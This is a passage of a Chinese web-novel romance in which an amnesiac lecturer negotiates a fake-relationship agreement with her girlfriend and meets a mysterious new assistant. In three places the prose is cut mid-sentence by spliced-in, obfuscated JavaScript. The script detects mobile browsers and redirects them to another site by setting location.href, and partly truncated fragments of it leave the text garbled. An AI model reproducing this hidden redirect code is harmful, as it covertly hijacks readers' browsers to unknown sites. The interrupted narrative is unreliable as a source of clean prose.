时间仿佛静止了一秒。下一刻,她一个激灵从座位上弹起来,眼珠子瞪得乌溜圆,“你说!纵、纵纵纵欲?” 她甚至下意识地低头看了一眼自己,仿佛在确认这个诊断对象究竟是不是自己。 二十八九岁不是刚毕业的小女生,所以林颐才会说得如此直白,眼下看来还是个挺清纯的灰姑娘。 “如果身体没有不适,你们就随意吧。” 阮序秋仍呆着,一个字都说不出来。 她看向应景明,应景明会意拉过阮序秋,“谢谢林阿姨,我们会注意的。”就带着阮序秋离开了诊室。 *** “林阿姨是这所医院的院长,也是我妈的高中同学,她从小看着我长大,对我的事情难免比较操心。我本来没打算找她,也是怕你不自在,谁知道她会擅自跑过来,真是失策。” “不过林阿姨是脑科医学界的权威,让她帮你诊治我也放心。” “至于那个什么欲……属于我们的个人隐私,她不会告诉我妈她们的,这点你放心。” 医院走廊,应景明如此解释,可阮序秋耳边嗡嗡直响,什么也没听进去。 现在的她只想找条地缝钻进去。 她实在不懂,为什么自己一个恋爱都还没谈过的黄花大闺女,会被诊断为纵欲过度啊。 阮序秋感觉自己的脸都被应景明丢尽了。 她怒瞪始作俑者,无声控诉。 应景明还是从容,对上她杀人般的视线,也只是无奈地耸肩,跟个没事人一样,“你情我愿的事情,你把我瞪穿也没用啊。” “就算你情我愿,你就不会拒绝?” “阮老师怕是不知道自己的手段有多高超,一下子就把我勾引到手了,让我拜倒在阮老师的石榴裙下,实在是让人无法拒绝呢。” 她竟然还有心思开玩笑?! 阮序秋又气又恼,想说就我这德行你有什么无法拒绝的,或者你不光那方面有问题,眼光也有点问题。话到嘴边又觉得这话怪怪的,憋了半天脸都红了,也只憋出一句: “我看你就是太饥不择食了!”话一出口,阮序秋就后悔了,这听起来更不像骂人,倒像是…… 应景明笑得坦然,红唇弯得丰润愉悦,“不排除这个可能性,你知道的,毕竟我们有阵子没、” “闭嘴!不准说!不许想!” 阮序秋羞耻怒喝,直接上手去捂她的嘴,却不期然与不远处护士探究的目光对上。 她浑身一震,连忙转身加快脚步远离应景明。 “阮老师,电梯在这边哦。” “少管我!我要自己回去!” *** 这个周五是特别的周五,是美妙的周五,更是值得庆祝的周五。 首先,这是她姑姑失忆后的第一个周五。其次,这是她姑姑和姑嫂同居后的第一个周五,同居约等于和好约等于复合。 为此,阮明玉去附近市场买了一堆菜回来准备下厨。 听说景明姐带着她姑姑去医院了,回来估计还要一会儿,够时间让她做两个菜。 阮明玉家里人的厨艺都不太好,上到她奶奶,下到她和她姑姑。她还好点,但也只会炒两个素菜,剩下几个肉菜,阮明玉打算等景明姐回来再说。 结果这一等眨眼就来到晚上九点。 阮明玉等得哈欠连天饥肠辘辘,准备打电话问问,忽然砰的一声,一道身影破门而入,犹如闪电般冲回房间。 阮明玉站起身望向那道紧闭的房门,不确定地问:“姑、姑姑?” 门内的阮序秋没有回应。 她背靠门后,大脑一片混乱。 一个小时了,可那四个字仍旧犹如魔音般在她脑际回荡,让她整个人都要烧起来。 纵欲过度…… 纵欲…… 纵…… 冷静,阮序秋,你要冷静,什么都没发生,你才刚过来,这些都不关你的事,纵欲过度的人不是现在的你,你也没有被应景明给、给…… 阮序秋闭眼咬牙,可光是默念这四个字,都让她感觉自己的嘴巴脏了。 “为什么偏偏是这种时候啊……”她崩溃地抓挠头发,明明已经下定决心要接受过去、接受应景明的存在,就连协议她都准备好了…… 阮序秋看向书桌,以及抽屉里面那张薄薄的纸。 那四个字就像一把钥匙,强行打开了她一直回避的、关于那七年的想象。 不是冰冷的“在一起”,而是滚烫的、纠缠的、她完全陌生的画面。 这种程度的亲密,真的能靠一纸协议隔开吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004780|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 若是不能,现在的她又该怎么办?推倒重来然后将应景明扫地出门,还是说…… 外面传来开门声以及熟悉的脚步声。 阮序秋抬眼看向客厅的方向。 客厅,阮明玉正欲上前询问,应景明就慢悠悠从外面进来。 关上门,脱鞋,摆鞋,顺便把阮序秋那双也摆正。 “景明姐,姑姑她怎么了?” “受了一点小打击,”应景明来到桌边给自己倒水,看见桌上摆着的两道菜,颇为惊喜,“明玉,你做的?” “是啊,不过看来姑姑大概是没心情吃了。” “心意到了就行,我一会儿去叫她。”应景明喝了口水,“肉买了么?” “买了点排骨,没挑到新鲜的鸡翅就没买,就等你回来做呢。” 阮序秋长那么瘦不是没道理的,她爱吃海鲜但不爱吃肉,觉得什么肉都有一股味道,少数几道喜欢的也就只有红烧排骨和可乐鸡翅。 可乐鸡翅是她们交往第二年,应景明给她做的。她说那是她第一次吃可乐鸡翅,她妈不重口腹欲,口味也淡,就算有时间下馆子,也绝对不会点这类重酱油的肉菜。 排骨倒是之前就吃过,但只在学校食堂点过几回,味道实在不怎么样。 应景明刚好跟她相反,她好享受,刚在一起那几年生活艰难,所以乐意钻研这些,厨艺自然而然就练了出来。 吃到第一口鸡翅,她说可乐鸡翅怎么可能这么好吃,说这不合理,还问她是不是下药了。 狭小出租屋的灯光下,她那副吃惊的表情璀璨闪亮,可爱透顶,应景明至今都记得。 想到这里,应景明不免有些忍俊不禁。 “因为生气所以自己坐公交车回来?还真是姑姑的作风。” “是啊,我跟了公交车一路,司机以为我是怪人,差点报警。” 厨房角落,应景明低着头处理排骨,阮明玉在边上打着下手,闻言下意识要笑,又强行忍住,“早知道会发生这种事,我就应该多跑几个地方把鸡翅买回来才对的。” “没事,你姑姑一会儿就好了,不要紧。” 事到如今还有心思安慰她,阮明玉怜悯地看着她倒霉的姑嫂,叹一口气:“景明姐,你好惨啊。” 应景明失笑,“你姑姑比较惨吧,才失忆就要面对这一连串的打击。” “可是姑姑她不要你了诶。吃了那么多苦,明明都要复合了。” “……好了别说了。” 排骨出锅后,应景明端着盘子来到主卧门口。 她扇着风温柔地说:“红烧排骨新鲜出炉咯,阮老师要不要来一口?不要的话,我和明玉可就不客气地吃完了。” …… “阮老师?” 没过一会儿,那扇门从里面打开。 阮序秋站在门口,眼神飘忽,就是不看应景明手里的盘子,“别误会,我们毕竟还有正事要谈,你别以为我真是因为你做的这什么、什么排骨才、” 她的话音在排骨浓郁的香气里越来越弱。 应景明从善如流地点头,嘴角弯起温柔的弧度,“嗯,阮老师是为了正事。那现在,能请为了正事的阮老师,先来尝尝她不成器的女朋友做的菜吗?” 16. 第十六章 这个周五的天气很好。 应该说这些天的天气一直都很好。老小区晚上十点就已经没什么灯火了,透过阳台的窗玻璃能够看见外面天空成片的月明星稀,银河轨迹如雾似纱,看来明天也将会是一个好天气。 窗玻璃里侧,应景明正笑着与楼下回学校的阮明玉挥手告别,又顺便给阳台的花浇了一遍水,才回到客厅。 她低头看着手机,来到餐桌一侧坐下。 手机上显示着来自妹妹应景月的新消息:「姐上次跟你说的事情没忘记吧林阿姨那个侄女下周就要去你们学校了」 「虽然咱妈暂时答应了你和师太的事但我劝你安分点不当相亲对象当妹妹也行」 「还有,周末记得回家吃饭」 平时无论怎么浪,周末必须回家吃饭,这是她们家的规矩。可因为恋爱的事,她已经有好些年没回家了。 应景明握着手机思忖良久。 正编辑回复消息,房门从外面打开。 阮序秋送完明玉回来。 她板着脸,径直来到餐桌边坐下。应景明见状,亲切地把盘子推到她的面前,扬起笑脸道:“阮老师请用。” 阮序秋冷哼一声,试图无视面前那盘诱人的红烧排骨,开门见山道:“我们谈谈协议的事。” 应景明笑着将盘子又推近了些,“天大的事也得先吃饭,尝尝?凉了可就不好吃了。” 香气像钩子一样挠着阮序秋的胃,阮序秋不受控制地将视线垂下去。 看上去确实很好吃,从色泽到香气皆无可挑剔。 可问题是,应景明这个十指不沾阳春水的千金大小姐怎么可能会有这么好的手艺,应该只是她从外面餐馆点的外卖吧。 见她有所动摇,应景明自顾自夹起一块香喷喷热乎乎的排骨,往阮序秋嘴边递,“来,啊——” 阮序秋强行咽下不断分泌的唾液,不悦将其推开,“应景明,我没跟你开玩笑。” 她瞪着面前嬉皮笑脸的女人。 后者愣了一下,这才放下筷子,好整以暇地看着她。 阮序秋抓住这片刻的缄默,郑重其事开口:“关于假恋爱的事,要我答应也可以。” 她抬眼冰冷地直视着应景明的目光,微微凝神,“除非你把房产证放我这里保管,彻底打消变卖房产的念头,并且、” 不容置疑的腔调,仿佛在下最后通牒。 然还没说完,应景明就毫不犹豫开口:“可以。” 不给丝毫反应的机会,应景明答应了。 没有预想中的拉扯、商量,讨价还价,甚至阮序秋连话都没说完,她就这么轻而易举地答应了,简直就像随口一说一样。 可能随口一说都没她回答得这么轻松。 阮序秋懵住,良久,呆呆发出一个音节:“……啊?” “我说可以。” 阮序秋愣在那里,好半晌才找回状态,“你还要无条件帮我补课,如果后面学院要求我参加课题的话,你得全权负责。” 她还是点头,艳丽的眉眼从容不迫。 阮序秋不是真的打算拒绝,只是担心自己提出的条件过分了,才打算以此为自己争取谈判的空间,然后迫使应景明答应下来。 她已经准备好措辞,如何回应应景明的犹豫也已经想好,可结果…… 她这……算是得逞了么? 阮序秋张了张嘴巴,却不知该说些什么。 这完全不在她的预料之内,顺利掌握主动权的成就感,顷刻间就变成了没来由的不安。 应景明微微一笑,“这套房子是我们交往期间落在我手里的,如果需要,我甚至可以直接把这套房子转赠给你。” “那那那那倒不用!”阮序秋忙摆手拒绝,“不过你要这么说的话……” 她低了低眉,“我希望你能把明玉加进房子的署名里,我自己倒是无所谓,但不想明玉没有家。” 应景明目光略深了几瞬,展唇莞尔道:“也行,阮老师还有其它条件么?” 阮序秋看着她,突然觉得眼前的人无比陌生。 她不了解她,更摸不清她想要什么,又想做些什么。 她说喜欢她,又说分手是必要,说合租,又说要她互帮互助,明明前两天才戏弄她,今天就可以把房子拱手让出。 还是说只因为这样一套房子对她来说根本不算什么?因为她的家太过不值一提了么? 周围陷入片刻的缄默。 良久,阮序秋适才开口,“你呢?你想从我这里得到什么?” 应景明秀眉微挑,面露赞赏。 她微微一笑,上身慢条斯理向后靠了靠,“放心,我的要求只有一条。” “不准在协议存续期间出轨,只是这样而已。” 分明还是笑眯眯的一张脸,阮序秋心里却莫名咯噔了一下。 许老师朋友圈里的学姐在她脑海中一闪而过。 难道……她也知道那件事? 阮序秋心头浮现些许异样,却没深想下去。就算知道也无妨,眼下的麻烦事都应付不过来了,她哪还有功夫继续追求学姐。 “这种无聊的假设根本没意义。我签协议是为了解决问题,不是来惹麻烦的。” 说完,阮序秋离席回房,“我这就去把新协议拿过来。” *** 晚上十点半,那棵白蜡树还在晃,还是簌簌的声响,客厅,阮序秋和应景明面对面坐在餐桌两侧。 她们之间放着两张A4纸,阮序秋用手指在协议最下方划了划,“添加的内容在这里,你看看。” 应景明拿起协议看了看,念道:“乙方不能擅自进入甲方的房间;乙方不能在公共场合对甲方动手动脚;甲方洗澡,乙方不得擅闯,等等,擅闯?” 应景明目瞪口呆。 她不敢相信自己的眼睛,可无论怎么看,写的确实是不得擅闯。 应景明被气笑了,“阮老师能告诉我,我为什么要在你洗澡的时候擅闯么?难道你觉得我对你爱而不得,所以霸王硬上弓?” 阮序秋噎住。 她确实是这么想的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004781|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >假设,如果某天应景明喝醉了,并且刚好她在洗澡或者换衣服,然后应景明对她心生歹意怎么办?虽然她自认自己并不好看。 或者在她洗澡的时候,应景明不小心进来把她看光光了怎么办?虽然应景明可能早就把她看光光了。 总而言之言而总之,杜绝任何擦枪走火的可能性!守护住自己最后的节操! “最好不会。”阮序秋更加脸热,蹭地一下站起来,“另外,我只负责口头配合,不接受任何程度的亲密接触。” 她抢回那纸协议撂在桌上,又从睡衣口袋掏出一支水笔,“没问题的话就在这里签上名字和日期。” 应景明秀眉微挑,到底没说什么,拿起笔在指定的位置签上、 没签完,动作忽然停住,她抬头,“我突然想到一个问题,阮老师,要是我有额外的需求呢?” 需、需求? 阮序秋整个脑袋突然爆红,“应景明,你再耍流氓我就翻脸了!” 应景明没忍住笑出了声,“我是说要是外界要我们一起出席活动,这种类型的需求。阮老师,为什么你的脑子里只有那些脏东西啊。” “都怪你老是误导我!”阮序秋一把夺回协议回房。 去了又回,协议上多了两条,其中一条是:如乙方因外界因素,不得已求助甲方,甲方应予以考虑,并酌情配合。 再次签字完毕,应景明终于满意了,她举起协议亲了一口,“晚安咯,女朋友。”就回房去了。 莫名其妙。 阮序秋在心里吐槽,然终于的尘埃落定让她如释重负,也让她异常疲惫,实在没功夫跟她计较这些。 阮序秋进厕所快速洗脸刷牙,看着镜子里的自己,不由叹了口气。 然而牙没刷完就收到一条微信。 发送人是应景明,内容是一张聊天记录的截图和一句话。 截图里,一个备注为「应淑华」的人对应景明说:「赶紧把你女朋友带回来给我看看,应景明,别让我催你第二遍!」 下面应景明说:「阮老师,我妈想见你,这种情况算不算是不得已中的不得已?(#可怜)」 阮序秋盯着手机屏幕,感觉刚才吃下的排骨都在胃里凝固了。 *** 她没有生气暴怒,只有一股预料之中的烦闷浮上心头。 她不想和她回家,更不想见她的家人,既然如此,应该拒绝么? 可是就算拒绝,按照应景明的性格,事后也一定有的是办法让自己重新接受,到时自己还是只能和她回家。 那是阮序秋绝对不想看到的。 为避免再受应景明的摆布,阮序秋沉思良久,迅速在脑中拟定了一个“拖”字诀:先口头答应,稳住应景明。等到当天,再找一个工作上无法推卸的紧急事务作为借口临时爽约。兵不厌诈,这招虽然有点损,但对付应景明,讲武德就是对自己残忍。 如此想着,阮序秋掏出手机,在应景明的聊天界面输入:「行。」 删除又输入:「我考虑考虑。」这样比较自然。 17. 第十七章 点击发送,那边秒回一个兔子转圈的表情包,外加八个字:「静候阮老师佳音哦~」 阮序秋想骂人,但是忍住了。 周一清晨的餐桌上,阮序秋适才迟迟给到应景明回复。 阮序秋以为应景明心眼那么多,得知自己答应,好歹会谨慎试探或者询问一番原委,但现实并没有。 在得到肯定的回答后,应景明立马就飘了,笑说太好了,就知道阮老师人美心善。 吃完早饭,还美滋滋回房间换了身衣服。珍珠白的绸面小吊带,外面裹着灰棕色的绒领外套,下身是件细长的微喇皮裤,银扣皮带和金丝项链简单点缀,招摇得像只孔雀。 下楼碰见邻居大妈,应景明特别开朗愉快跟人挥手打招呼,把大妈吓了一跳,半天才回她一声早上好。开门上车,嘴边还哼着歌儿。 阮序秋纳闷,“至于那么开心么?” “至于。虽然是假的,但这可是我们七年以来的第一次。” 她说起她们的过去,说以前的她们到哪里都不受欢迎,别提多可怜了,说你失忆得真不是时候,本来都拨云见日了,“不过好在现在的生活还算有趣。” 她沉浸在自己的世界里,整个人如沐春风,连卷翘的头发丝好似都要飞扬起来。 阮序秋没想到她会这么开心。 在此之前,阮序秋一直以为她这个人没心没肺,应该无时无刻都是开心的。可眼下这么一看,才发现原来她真正开心的样子是这样。 阮序秋心里莫名有些吃味。 她不喜欢应景明,更不想见她的家人,但她明明都答应了,却又在她最为开心的时候故意消失,会不会有点过分? 还是说,应该跟应景明商量一下这件事比较好?她不确定。 阮序秋不知如何回复,可一旁的应景明还在喋喋不休,“你看,昨天我妹还说你一定会拒绝我。” 她兴奋地举起手机展示,昨晚十一点多,一个昵称猪景月的人发来消息:「别等了姐我发誓你一定会被拒绝!」 两姐妹不常聊天,在这上面就是周五晚上的消息。 阮序秋没打算看她手机,可密密麻麻几行消息,其中四个字猝不及防映入眼帘。 「联姻对象」 阮序秋愣了一下,侄女的话言犹在耳: “而且……听说应妈妈想让她联姻来着。” 她看向应景明,那张侧脸已经高兴到有些幼稚的地步了。 她忽然明白过来,可能正是因此,这人才急于把自己带回家,为了不被安排结婚。 阮序秋压下那股情绪,淡淡地道:“那又如何,我都已经不记得了。” “没事,我相信你一定会记起来的。” 与之相反,应景明的语气笃定且充满希望。 真的会么? 阮序秋扭头看向车外。其实她宁可一直这样下去。 *** 办公室位于学院楼四楼,进入电梯,正好碰见陈燕。 像所有同事那样,她们相互问过早安,聊两句有的没的也就差不多了。 可是因为今天应景明心情好,她开始问陈燕早饭吃了没,要不要一起吃午饭,以及:“周末天气好,陈老师有没有去约会啊。”热情得莫名其妙。 陈燕似猜到了什么,瞥向阮序秋,“看来你们周末去约会了。” “……没有。” 她和应景明虽然同住一个屋檐下,但是为了工作,周末她全天都泡在图书馆读书。应景明则如她所说给她补习。除此之外,她们对对方一无所知,倒是听明玉说应景明回家了一趟,阮序秋没问,不是很想知道。 不过就算她这么说,陈燕大概率也是不会相信的,毕竟在外人眼中,她们是那种恨不得二十四小时都黏在一起的恩爱情侣。 尤其应景明还在后面追加:“没有约会但胜似约会。”陈燕立马露出那种“我就知道”的表情。 到四楼了。走出电梯,她们和应景明在转角分开。 看着应景明愉快挥手朝另一边走去的背影,陈燕笑道:“你们感情真好,去哪里玩了?” “真没有……” “那她怎么高兴成那个样子?” “鬼知道她发什么病。” 要说一点没有良心不安是骗人。 可阮序秋又想,也许不用多久,应景明就会被抓回去结婚,想那么多干嘛呢。 她们之间的身份差距毕竟还是太大了。 阮序秋慢慢地向办公室走去,脑海中忽然浮现一个问题:她的联姻对象会是什么样的人呢?应该是跟她一样的富二代千金吧。 其实她们才是一个世界的人。 *** 走进办公室,阮序秋沉沉吐了口气。 刚要坐下,却看见一道陌生身影跟在她的身后一起进来。 是刚才和她们一起进电梯又一起出来的女生。模样看着挺年轻,分辨不出是老师还是学生。她怀里抱着一个半透明的收纳箱,里面是一些文件和书。 对上视线的一瞬,女生避开了目光。 刚才……是在看她么? 阮序秋不解,刚才在电梯里,女生似乎也曾这样看她。 难道是熟人? 阮序秋记性好,可她并不记得这张脸曾出现在学校教师职工的合照上。 不过也可能是其它场合见过的。谨慎起见,阮序秋兀自坐下没有开口。 那女生上前,将箱子放在阮序秋对面的桌上,自我介绍道:“阮老师、陈老师好,我叫谈智青,是新来的助教,主任让我协助您和陈老师的工作。” 说完,微微鞠躬示意。 是个看着挺文静内敛的女生,扎着简单的马尾,带着厚框眼镜,像班级角落特别没有存在感的学生,就连声音也低低的虚虚的,没有底气。 可奇怪的是,眼镜之后那双眸底却聚着一道光,看过来的时候,带着似有若无的审视。 还是说只是错觉,是她太过敏感了? 那边陈燕正往保温杯里接水,闻言抬头:“来了啊,我本来还怕你找不到办公室。” 谈智青怯怯推眼镜,“我和阮老师一样,本科也是淮海大学毕业的。” 陈燕问阮序秋:“你们同级?” 阮序秋莫名,“我哪知道。” “哦,不是姐妹啊。不好意思,你们太像了,我还以为你们认识。”陈燕笑起来,说一会儿拍张照片给另外两个同事,她们肯定也觉得像。 要说像,其实就只是都戴眼镜梳马尾而已。 阮序秋没有争辩,她让谈智青别介意,便打开电脑登录企业微信。 阮序秋按习惯依次点除未读消息。滑动了几下,这才看见周六晚上来自李利娟的一条消息。 内容是说给她们办公室招了一个新人,让她或陈燕周一带人熟悉熟悉环境。 “原来主任通知了啊……” 那边陈燕正和谈智青闲聊工作情况,不知怎的耳朵那么灵光,揶揄道:“啧啧,阮老师这个周末过得还真是忘我哦~” 都废寝忘食了,当然忘我啊…… 许是听出陈燕的言下之意,谈智青也搭腔:“看来阮老师有交往对象了,是电梯里那个长卷发的老师么?” 接连两个疑问句,语气却异常笃定。 阮序秋眉头微蹙,一般人能一眼看出她是同性恋? “眼光真准!没错,那就是阮老师的女朋友,咱们学院一枝花,很漂亮对吧,”陈燕道,“她们两个可是我们学院交往了整整七年还没分手的吉祥物。” 陈燕这番热情介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004782|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍可以说比她这个当事人都积极了,好似恨不得将她和应景明的大小事迹都对这个新人全盘托出。 阮序秋本打算发消息问应景明自己是不是认识谈智青,听到这里,忙转开话题说起主任的嘱咐,问陈燕有没有课,咱们带小谈去附近逛逛。 “小谈以前不是这里的学生么?” “毕业后我就去国外留学,有好些年没回来了。” “这样,那你们去吧,我一会儿还有课。” “……”阮序秋愣住,默了片刻,到底只能应下,“……行。” 说完,陈燕就拿上教案和教科书走了。 陈燕走后,办公室里只剩下她们两人。 谈智青慢条斯理地收拾东西,她面对面的位置。 阮序秋一面漫不经心地滑动鼠标,一面偷偷看她。阮序秋不认识什么品牌,但隐约能感觉出谈智青身上的衣服似乎挺昂贵的。 她刚才说留学好几年没回国了,那么就算认识也应该是五六年前的事情了。 “小谈,你留学的什么学校?” “斯坦福。” “哦……”顶尖的工商学院确实符合有钱人的取向,“有几年没回国了?” “差不多五六年了。” 和她想得差不多,五六年前她正在淮海大学读研究生,而谈智青则是大四的学生,她们同学院同专业,会碰上再自然不过。可能她看自己眼熟吧,那种审视的目光多半也只是近视看人的下意识习惯,她自己也这样。 虚惊一场,阮序秋松了口气,是自己草木皆兵了。 “阮老师。” “啊?”阮序秋吓了一跳,她本来还想寒暄两句留学辛不辛苦,没想到谈智青会主动叫她,“怎么了?” 谈智青看着她,还是那种让人不设防的弱弱的语气,“你和应老师交往那么多年,一定很相爱吧。” “我和应老师……也就一般般吧,七年之痒你懂的,早就没有当初的激情和新鲜感了,真没外界看上去那么好,呵呵……” “可我看应老师似乎满眼都是你。” “那,那都是,额,因为这两天她心情好。” “是这样啊……” 提到她和应景明的事,阮序秋就不免乱了方寸,等说完才恍然想起:等等,她有提过应景明姓应么? 不过五六年前应景明跟她一样,也在这里读研究生,那人那么招摇,八成的学妹估计都认识她。 说起来,应景明好像没有去留学,这是为什么? 思绪走到这里,谈智青已将剩下几本书收进立书架里。 阮序秋站起身,“走吧,我们去逛逛。” “好……” *** 这个学校没逛成,才要出门,应景明就跑来找她,说院里有节公开课,拉她一起去旁听。 下午她有课,逛学校的事就这样一直拖到第二天的早上。 想到此前对她的无端猜测,阮序秋更愧疚,不管怎么说不用,偏要拉她下楼走走。结果下了楼却发现比起谈智青,自己才是那个真正需要逛一逛的人。 上周她忙着适应工作,故没来得及仔细观察,今天一看,才发现七年时间,学校很多地方都变了翻新了。比如那片人工湖上多了一座亭子,比如南门的商业区满满当当开满了店铺。 阮序秋小心翼翼地留意着周围,不敢泄露丝毫惊讶。奇怪的是,身边的谈智青却沉默非常,就连只言片语的客套也没有。 她们之间已经一路无话了,有点尴尬。 阮序秋不是一个善于交际的人,娘胎里带来的毛病,可自己现在毕竟是前辈,再没话说也得憋点话出来聊聊才行。 等她终于准备开口,谈智青先她一步开了口:“阮老师,你和应老师是真的正在交往么?” 18. 第十八章 阮序秋一怔。 这话是不是太直接了点? “啊、嗯,是啊,怎么突然这么问?” “只是觉得有点奇怪。” “……” “经调查显示,人们在被问及与交往对象的感情状况时,更倾向于给出正面回应,当询问者是初次见面的陌生人时,选择正面回答的概率会显著提升。这种差异背后,源于陌生社交场景中自我形象的维护心理。但是阮老师你给出的回答却完全与常规相反。” 谈智青的目光渐渐从看着她变成了盯着她。 其实看上去还是内敛沉默,可阮序秋却从她的眼神里感到了一种很隐晦的压迫感。 “阮老师,你对应老师似乎充满了戒备。” 这句话已经超出询问的范畴,而是带有步步紧逼的意味。 阮序秋不悦蹙眉,这才意识到先前自己的顾虑不是错觉,这个谈智青确实在观察她。 阮序秋面色沉下来,不留情面道:“抱歉,这是我们之间的私事,恐怕不太方便告诉你。” 谈智青神色微滞。 阮序秋继续说:“而且觉得奇怪的应该是我才对吧,为什么你见我们第一面就知道我姓阮她姓应?” “当然,你知道我不奇怪,毕竟你是我的助教,主任一定跟你介绍过我。但应老师跟我们可不是一个专业的,你是怎么知道她的姓氏的?应该不是因为你有记人的习惯吧,小谈。” 阮序秋亦盯着谈智青,眼神冷下来。 她也不想刁难新人,可她实在讨厌这种带着审视意味的越界。她们甚至才刚认识。 谈智青终于张唇。 话没出口又闭上,谈智青的视线越过她的身体向她身后看去,目光定定的。 阮序秋回头,看见应景明笑着向她走来。 基本可以确定,谈智青认识应景明。或者说,她是因为认识应景明,才认识的自己。 她们之间有渊源。 那边应景明晃着咖啡走到跟前,手臂熟稔地勾上来,却在瞥见谈智青的瞬间几不可察地一顿,“这位是?” 阮序秋侧身避开她的接触,介绍道:“办公室新来的助教。” 说完,她侧目去看谈智青。 谈智青微微颔首道:“你好,我叫谈智青,阮老师正在带我熟悉环境。” 她恢复了讷讷的样子,像什么都没发生,全然没有方才言辞犀利心理辅修生该有的样子。 再看应景明,神态亦是一如往常,似乎根本不认识这个人,说声:“哦,你好。”就移开目光向她看来,“逛得差不多了吧,一起回去?” 阮序秋张口欲答,想到谈智青方才咄咄逼人的口吻,心里莫名一股无名火,又把嘴闭上,抬了抬下巴便兀自往前走。 “阮老师等我一下嘛!” 应景明小跑跟上,没皮没脸地黏着她闲话,问她午饭吃什么,晚饭又吃什么,丝毫没打算在外人面前有所收敛。 那谈智青呢,就默默跟在半步之外,一路上一言不发,像个安静却不容忽视的影子。 莫名其妙,她刚才不是挺能说的,怎么面对应景明这个当事人反倒沉默上了。 阮序秋不解,更不爽,她当然也能主动引出话题寻找破绽,但一种莫名的、尖锐的情绪抵住了她的喉咙。 她问自己,应景明又不是她的谁,真的有必要为了她自寻烦恼么? 走出电梯,她们照旧在五楼转角分开,应景明照旧笑着转身。 身影走远,周围又只剩她和谈智青。 她们相互看了一眼,阮序秋没打算继续追问,径直走开,当作什么都没发生。 *** 此后几天,阮序秋都没主动和谈智青搭话。 她莫名烦躁,不光因为谈智青那番唐突的言论,更因为周末正在不断向她靠近。 时间一天天地过去,转眼已是周四。 应景明说见面就定在这周六的晚上,分明日常还是上课下课,可一想到这,那种焦灼的情绪就变得更为强烈。 为此,阮序秋不得不躲着谈智青。 她不想从谈智青口中听说任何有关应景明的话题,更别提思考她们之间所谓的渊源又会是什么。 下课铃声拉回了阮序秋的思绪。 讲台下的学生逐渐散开,阮序秋疲惫地合上教案,冲问好的学生点了点头,便前往茶水间接水。 才出门就接到应景明的电话,说学校新开了一家餐馆,一起去尝尝鲜啊。 她的那股兴奋劲儿仍持续着。这几天,阮序秋已经几次拒绝她一起吃饭的邀请,说我没空,说应景明你就没有自己的私人生活么?可每当话音落下,应景明就会特别可怜巴巴地说:“怎么说我们也是快见家长的人了,阮老师怎么能这么无情。” 一说到这,阮序秋的喉咙就跟被掐住了似的,不知道怎么反驳。 “喂?阮老师?” “……知道了,我喝口水就过去。” 阮序秋叹了口气。明明都已经决定要放她鸽子了…… 她讨厌自己这种性格,总是心软,总是动摇。 不知道七年后的自己是不是已经能够在这种事情上坚定决断了。 怕什么来什么,才挂断电话,就在半路和谈智青迎面碰上。 阮序秋怔了一下,微笑点头就要走开。 没等走远,那位年轻的助教叫住她。 “阮老师。”她在她的身后平静开口:“我确实认识应老师。” 阮序秋回头。 “但应老师不认识我。应该说,她已经不记得我了。” 阮序秋愣住,缓缓皱起眉头。 这又是一出什么剧本? *** 「来了么来了么?」 「上个厕所,等我几分钟。」 回完应景明消息,阮序秋不耐烦地看了眼时间,对身边说:“我还有事,可以尽快么?” 谈智青正垂眼望着窗外。 茶水间的窗外是商业街,浓荫漫到窗前,络绎不绝的学生在斑驳的枝叶间来来往往,路过那辆银白轿车。车里,应景明正在照镜子整理仪容仪表。 话音落下,她收回目光抬头看来,“心灵捕手社,不知道阮老师听没听说过。” “听说过。”阮序秋大学没有参加社团,她觉得浪费时间,偏偏应景明这人就爱浪费时间。大一社团招新那天,她一眼盯上了心灵捕手社。阮序秋之所以知道是因为这个社团因为人少正面临关门的窘境,应景明于是扯大旗在两个班间各种喊人报名,被阮序秋用一句不务正业嘲讽。那还是她们大学第一次吵架。 “我是应老师大学社团的学妹。”谈智青的脸色还是那样冷静,看不出多余的情绪。 阮序秋恍然大悟,又觉得离谱,“你该不会想说你暗恋她多年吧。” 谈智青失笑,“我没那么深情,但我确实对她抱有一份感激。”她顿了顿,“应老师当年对我很照顾,虽然可能只是举手之劳。” 阮序秋莫名,忽然感觉这副画面好像那种狗血的偶像剧戏码,接下去谈智青大概就要说应景明怎么怎么好,让她不要辜负应景明之类的话。 果不其然,转眼就听见谈智青说:“阮老师,这些年我听说了很多你们之间的事,为了和你在一起,应老师背负着很大的压力,可以说差点一无所有。” 内容和阮序秋猜想的差不多,一点没有新意。 阮序秋听不下去了,从侄女到她家里的阿姨,再到这个学妹,一个个上赶着帮应景明抱不平,好像自己多对不起她似的,简直没完没了。 